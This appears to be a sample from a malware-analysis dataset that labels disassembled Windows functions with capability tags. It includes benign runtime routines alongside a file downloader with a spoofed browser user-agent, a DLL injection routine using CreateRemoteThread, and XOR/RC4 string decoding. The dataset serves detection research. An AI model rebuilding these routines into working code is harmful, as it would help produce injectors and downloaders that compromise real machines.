joyce8/EMBER2024-capa huggingface dataset:
Function at 0x424b10
Capabilities:
Get geographical location

Disassembly:
sub esp, 0x1c
mov eax, dword [0x457118]
xor eax, esp
mov dword [esp + 0x18], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0x14
lea ecx, [esp + 8]
push ecx
push 0x59
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
push esi
mov ecx, 0x44da60
je 0x424b49
lea ecx, [esp + 8]
call fcn.00401720
mov ecx, dword [esp + 0x18]
xor ecx, esp
mov eax, esi
call fcn.0042e417
add esp, 0x1c
ret

Function at 0x424b60
Capabilities:
Get geographical location

Disassembly:
sub esp, 0x1c
mov eax, dword [0x457118]
xor eax, esp
mov dword [esp + 0x18], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0x14
lea ecx, [esp + 8]
push ecx
push 0x5a
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
push esi
mov ecx, 0x44da60
je 0x424b99
lea ecx, [esp + 8]
call fcn.00401720
mov ecx, dword [esp + 0x18]
xor ecx, esp
mov eax, esi
call fcn.0042e417
add esp, 0x1c
ret

Function at 0x427c80
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x19c
mov eax, dword [0x457118]
xor eax, esp
mov dword [esp + 0x194], eax
cmp dword [esi + 4], 0
je 0x427cb4
mov eax, 1
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.0042e417
add esp, 0x19c
ret
lea eax, [esp]
push eax
push 0x101
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x427cdd
xor eax, eax
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.0042e417
add esp, 0x19c
ret
mov ecx, dword [esp + 0x194]
mov eax, 1
xor ecx, esp
mov dword [esi + 4], eax
call fcn.0042e417
add esp, 0x19c
ret
Function at 0x427d00
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x447298
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x457118]
xor eax, esp
mov dword [esp + 0x10], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x457118]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
xor ebp, ebp
mov dword [esp + 0x30], ebp
call fcn.00427c80
test eax, eax
jne 0x427d6e
or ebp, 0xffffffff
mov dword [esp + 0x30], ebp
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], ebp
dec ebp
test ebp, ebp
jg 0x427d67
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
jmp 0x427e69
cmp dword [esi + 0x14], ebp
je 0x427d80
mov eax, dword [esi + 8]
cmp eax, ebp
je 0x427d80
push eax
call sub.WS2_32.dll_closesocket
mov edi, dword [esp + 0x38]
mov dword [esi + 0x14], ebp
mov dword [esi + 8], ebp
cmp dword [edi - 4], 1
jle 0x427da2
mov ecx, dword [edi - 0xc]
push ecx
lea edx, [esp + 0x3c]
push edx
call fcn.004163a0
mov edi, dword [esp + 0x38]
push edi
call sub.WS2_32.dll_gethostbyname
mov ebx, eax
cmp ebx, ebp
jne 0x427dba
or ebp, 0xffffffff
mov dword [esp + 0x30], ebp
lea eax, [edi - 0x10]
jmp 0x427d51
push 6
push 1
push 2
call sub.WS2_32.dll_socket
or ebp, 0xffffffff
cmp eax, ebp
mov dword [esi + 8], eax
jne 0x427ddb
mov dword [esp + 0x30], ebp
lea eax, [edi - 0x10]
jmp 0x427d51
mov ecx, dword [esp + 0x3c]
push ecx
mov word [esp + 0x18], 2
call sub.WS2_32.dll_htons
mov word [esp + 0x16], ax
mov edx, dword [ebx + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov eax, dword [esi + 8]
push 0x10
lea edx, [esp + 0x18]
push edx
push eax
mov dword [esp + 0x24], ecx
call sub.WS2_32.dll_connect
cmp eax, ebp
jne 0x427e2d
mov ecx, dword [esi + 8]
push ecx
call sub.WS2_32.dll_closesocket
lea eax, [edi - 0x10]
mov dword [esp + 0x30], ebp
lea edx, [eax + 0xc]
lock xadd dword [edx], ebp
dec ebp
jmp 0x427d59
lea ebx, [esi + 0xc]
lea eax, [esp + 0x38]
call fcn.00423b60
mov ecx, dword [esp + 0x3c]
lea eax, [edi - 0x10]
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], 1
mov dword [esp + 0x30], ebp
lea edx, [eax + 0xc]
lock xadd dword [edx], ebp
dec ebp
test ebp, ebp
jg 0x427e64
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.0042e417
add esp, 0x20
ret 8
Function at 0x42cbc0
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0xffffffffffffffff
push 0x446078
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push edi
mov eax, dword [0x457118]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
mov dword [esi], eax
jl 0x42ccc8
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea ebx, [esi + 4]
push ebx
push 0x44d790
push 1
push 0
push 0x44d860
mov dword [esi], eax
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
mov dword [esi], eax
jl 0x42ccc8
lea eax, [esp + 0x10]
push eax
mov edi, str.ROOTCIMV2
call fcn.0040cbc0
mov dword [esp + 0x1c], 0
mov eax, dword [eax]
test eax, eax
je 0x42cc53
mov ecx, dword [eax]
jmp 0x42cc55
xor ecx, ecx
mov eax, dword [ebx]
mov edx, dword [eax]
lea ebp, [esi + 8]
push ebp
push 0
push 0
push 0
push 0
push 0
push 0
push ecx
push eax
mov eax, dword [edx + 0xc]
call eax
lea edi, [esp + 0x10]
mov dword [esi], eax
mov dword [esp + 0x1c], 0xffffffff
call fcn.0040cce0
cmp dword [esi], 0
jl 0x42ccb8
mov eax, dword [ebp]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push eax
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
mov dword [esi], eax
jge 0x42ccdd
mov eax, dword [ebp]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov dword [ebp], 0
mov eax, dword [ebx]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov dword [ebx], 0
xor eax, eax
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, 1
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x42e118
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x457118]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0042e057
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00432ba0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x42e167
cmp dword [ebp - 0x1c], 5
jb 0x42e17f
jmp 0x42e17b
cmp dword [ebp - 0x10], 1
jne 0x42e17f
cmp dword [ebp - 0x1c], 4
ja 0x42e17b
jne 0x42e17f
cmp dword [ebp - 0x18], 0
jbe 0x42e17f
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x44b4d8
call fcn.0042deed
test eax, eax
jge 0x42e1a0
mov byte [0x4596a0], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0042e417
add ebp, 0x78
leave
ret

Function at 0x42e417
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x457118]
jne 0x42e421
repz ret
jmp fcn.00433797
Function at 0x4352bd
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x4572d0]
je 0x4352d8
inc edi
cmp edi, 0x17
jb 0x4352c9
cmp edi, 0x17
jae 0x435458
push ebp
push 3
call fcn.0043f102
cmp eax, 1
pop ecx
je 0x435424
push 3
call fcn.0043f102
test eax, eax
pop ecx
jne 0x43530c
cmp dword [0x45710c], 1
je 0x435424
cmp ebx, 0xfc
je 0x435457
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x458e68
push ebp
call fcn.00433c85
add esp, 0xc
test eax, eax
je 0x435342
push esi
push esi
push esi
push esi
push esi
call fcn.0042e672
add esp, 0x14
push 0x104
mov esi, 0x458e81
push esi
push 0
mov byte [0x458f85], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x435386
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00433c85
add esp, 0xc
test eax, eax
je 0x435386
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0042e672
add esp, 0x14
push esi
call fcn.0042fea0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x4353cb
push esi
call fcn.0042fea0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x45917c
push 0x44c47c
sub ecx, eax
push ecx
push eax
call fcn.0043b556
add esp, 0x14
test eax, eax
je 0x4353cb
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0042e672
add esp, 0x14
jmp 0x4353cd
xor esi, esi
push 0x44c478
push ebx
push ebp
call fcn.0043b49d
add esp, 0xc
test eax, eax
je 0x4353ed
push esi
push esi
push esi
push esi
push esi
call fcn.0042e672
add esp, 0x14
push dword [edi*8 + 0x4572d4]
push ebx
push ebp
call fcn.0043b49d
add esp, 0xc
test eax, eax
je 0x43540f
push esi
push esi
push esi
push esi
push esi
call fcn.0042e672
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0043ef45
add esp, 0xc
jmp 0x435457
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x435457
cmp ebp, 0xffffffff
je 0x435457
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x4572d4]
push dword [esi]
call fcn.0042fea0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x43ef45
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00433212
xor ebx, ebx
cmp dword [0x4595ac], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x43f01b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x43f0fb
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x43f0fb
push eax
call fcn.004331a4
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4595ac], eax
call esi
push eax
call fcn.004331a4
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4595b0], eax
call esi
push eax
call fcn.004331a4
mov dword [0x4595b4], eax
lea eax, [ebp - 0xc]
push eax
call fcn.004317cc
test eax, eax
pop ecx
pop ecx
je 0x43efe9
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042e672
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x43f01b
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.004331a4
cmp eax, ebx
pop ecx
mov dword [0x4595bc], eax
je 0x43f01b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004331a4
pop ecx
mov dword [0x4595b8], eax
mov eax, dword [0x4595b8]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x43f0a0
cmp dword [0x4595bc], ecx
je 0x43f0a0
push eax
call fcn.0043321b
push dword [0x4595bc]
mov esi, eax
call fcn.0043321b
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x43f0a0
cmp edi, ebx
je 0x43f0a0
call esi
cmp eax, ebx
je 0x43f06d
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x43f06d
test byte [ebp - 0x18], 1
jne 0x43f0a0
lea eax, [ebp - 0x10]
push eax
call fcn.00431803
test eax, eax
pop ecx
je 0x43f088
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042e672
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x43f097
or dword [ebp + 0x10], 0x200000
jmp 0x43f0db
or dword [ebp + 0x10], 0x40000
jmp 0x43f0db
mov eax, dword [0x4595b0]
cmp eax, dword [ebp - 8]
je 0x43f0db
push eax
call fcn.0043321b
cmp eax, ebx
pop ecx
je 0x43f0db
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x43f0db
mov eax, dword [0x4595b4]
cmp eax, dword [ebp - 8]
je 0x43f0db
push eax
call fcn.0043321b
cmp eax, ebx
pop ecx
je 0x43f0db
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4595ac]
call fcn.0043321b
cmp eax, ebx
pop ecx
je 0x43f0fb
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x43f0fd
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43b64b
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x43b3c1
sub ecx, 0x3015ca3e
mov ecx, 0x39a5ca9
call fcn.0043b687
add ecx, ecx
inc edi
xor dword [esi], ebx
push ecx
pop edi
sub ecx, 0xbd39e674
dec edi
inc esi
sub edi, edi
and ecx, edi
inc edi
cmp esi, eax
jne fcn.0043b64b
add ecx, 0xd679a266
add edi, 0x2f8d7d68
ret
Function at 0x401d20
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.0040cc70
mov eax, dword [0x42b740]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
lea eax, [ebp - 0x1110]
push eax
push 0x1000
lea ecx, [ebp - 0x1108]
xor edi, edi
push ecx
mov dword [ebp - 0x110c], edi
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x401d6b
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c734
mov esp, ebp
pop ebp
ret
test dword [ebp - 0x1110], 0xfffffffc
jbe 0x401e33
push ebx
mov ebx, dword [ebp + 8]
push esi
mov eax, dword [ebp + edi*4 - 0x1108]
test eax, eax
je 0x401e1f
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401e1f
lea edx, [ebp - 0x1118]
push edx
push 4
lea eax, [ebp - 0x1114]
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x401e1f
mov edx, dword [ebp - 0x1114]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleBaseNameA
mov ecx, ebx
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401e02
test dl, dl
je 0x401dfe
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401e02
add eax, 2
add ecx, 2
test dl, dl
jne 0x401de2
xor eax, eax
jmp 0x401e07
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401e18
mov eax, dword [ebp + edi*4 - 0x1108]
mov dword [ebp - 0x110c], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x1110]
inc edi
shr ecx, 2
cmp edi, ecx
jb 0x401d80
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x110c]
xor ecx, ebp
pop edi
call fcn.0040c734
mov esp, ebp
pop ebp
ret
Function at 0x402010
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x42b740]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
push 0x3ff
lea ecx, [ebp - 0x403]
push edi
push ecx
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], edi
mov dword [ebp - 0x408], edi
mov dword [ebp - 0x418], edi
mov byte [ebp - 0x404], 0
call fcn.0040bf80
add esp, 0xc
push edi
push edi
push edi
push edi
push str.Mozilla_5.0__Windows_NT_6.3__
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
mov dword [ebp - 0x414], ebx
cmp ebx, edi
je 0x402147
push edi
push 0x80000000
push edi
push edi
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, edi
je 0x402140
mov edx, dword [ebp - 0x410]
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402133
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x408]
push eax
push 0x400
lea ecx, [ebp - 0x404]
push ecx
push esi
call ebx
test eax, eax
je 0x40211c
mov edi, edi
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x40211c
push 0
lea edx, [ebp - 0x418]
push edx
push eax
lea eax, [ebp - 0x404]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [ebp - 0x408]
push ecx
push 0x400
lea edx, [ebp - 0x404]
push edx
push esi
call ebx
test eax, eax
jne 0x4020e0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x414]
mov dword [ebp - 0x40c], 1
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x40c]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c734
mov esp, ebp
pop ebp
ret
Function at 0x402200
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x42b740]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push 0
lea ecx, [ebp - 0x108]
push ecx
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x402251
push str.An_error_is_occured_when_trying_to_get_the_full_path_of_the_DLL._n
call fcn.0040d0c6
add esp, 4
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c734
mov esp, ebp
pop ebp
ret
push edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
jne 0x402286
push str.An_error_is_occured_when_trying_to_open_the_target_process._n
call fcn.0040d0c6
add esp, 4
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c734
mov esp, ebp
pop ebp
ret
push ebx
push str._PROCESS_INJECTION__n
call fcn.0040d0c6
push str.Process_opened_successfully._n
call fcn.0040d0c6
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
push 0x40
push 0x3000
lea edx, [ebp - 0x108]
push edx
call ebx
inc eax
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x4022e5
push str.An_error_is_occured_when_trying_to_allocate_memory_in_the_target_process._n
call fcn.0040d0c6
add esp, 4
pop ebx
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c734
mov esp, ebp
pop ebp
ret
push esi
push str.Memory_allocate_at_0x_X_n
call fcn.0040d0c6
add esp, 8
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
inc eax
push eax
lea ecx, [ebp - 0x108]
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40231a
push str.An_error_is_occured_when_trying_to_write_the_DLL_path_in_the_target_process._n
jmp 0x4022ca
push str.DLL_path_writen_successfully._n
call fcn.0040d0c6
add esp, 4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, 0xffffffff
je 0x4022d2
test eax, eax
je 0x4022d2
push str.LoadLibraryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x402357
push str.An_error_is_occured_when_trying_to_get__LoadLibraryA__address._n
jmp 0x4022ca
push ebx
push str.LoadLibraryA_address_at_0x_X_n
call fcn.0040d0c6
add esp, 8
push 0
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, 0xffffffff
jne 0x402385
push str.An_error_is_occured_when_trying_to_create_the_thread_in_the_target_process._n
jmp 0x4022ca
push str.DLL_Injected___n
call fcn.0040d0c6
mov ecx, dword [ebp - 4]
add esp, 4
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040c734
mov esp, ebp
pop ebp
ret
Function at 0x402650
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ebx, 2
xor edx, edx
mov al, byte [edi + edx + 0x2d54c074]
xor al, bl
inc ebx
and ebx, 0x800000ff
mov byte [edx + esi], al
jns 0x40267f
dec ebx
or ebx, 0xffffff00
inc ebx
inc edx
cmp edx, 0x1c
jl 0x402662
pop edi
mov byte [esi + 0x1c], 0
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x4026a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ebx, 3
xor edx, edx
mov al, byte [edi + edx - 0x42af709]
xor al, bl
inc ebx
and ebx, 0x800000ff
mov byte [edx + esi], al
jns 0x4026cf
dec ebx
or ebx, 0xffffff00
inc ebx
inc edx
cmp edx, 0xc
jl 0x4026b2
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x403480
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422d9b
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x42b740]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040b40e
push 4
mov dword [ebp - 4], 0
call fcn.0040c284
mov edi, eax
add esp, 4
test edi, edi
je 0x403500
call fcn.0040b0c1
mov dword [edi], eax
call fcn.0040ae80
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0040adb5
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4034f6
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0040addd
jmp 0x403502
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404850
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4230c8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x42b740]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x44], ebx
je 0x404971
cmp byte [edi + 0x49], bl
je 0x404971
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x404965
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], bl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x4048c5
lea eax, [ebp - 0x2c]
mov byte [eax + 8], bl
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x18]
mov edx, eax
cmp ebx, 0x10
jae 0x4048dd
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x30]
push ebx
push edx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x404906
dec eax
je 0x40490a
sub eax, 2
lea ecx, [ebp - 0x2c]
jne 0x404960
jmp 0x40496c
mov byte [edi + 0x49], 0
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp ebx, 0x10
jae 0x40491a
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x404943
cmp ebx, 0x10
jae 0x404929
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0040d66a
add esp, 0x10
cmp esi, eax
jne 0x40495d
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x404969
test esi, esi
jne 0x4048d1
push esi
push 8
lea ecx, [ebp - 0x2c]
call fcn.00401550
jmp 0x4048cb
lea ecx, [ebp - 0x2c]
call fcn.00401430
xor al, al
jmp 0x404973
lea ecx, [ebp - 0x2c]
call fcn.00401430
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040c734
mov esp, ebp
pop ebp
ret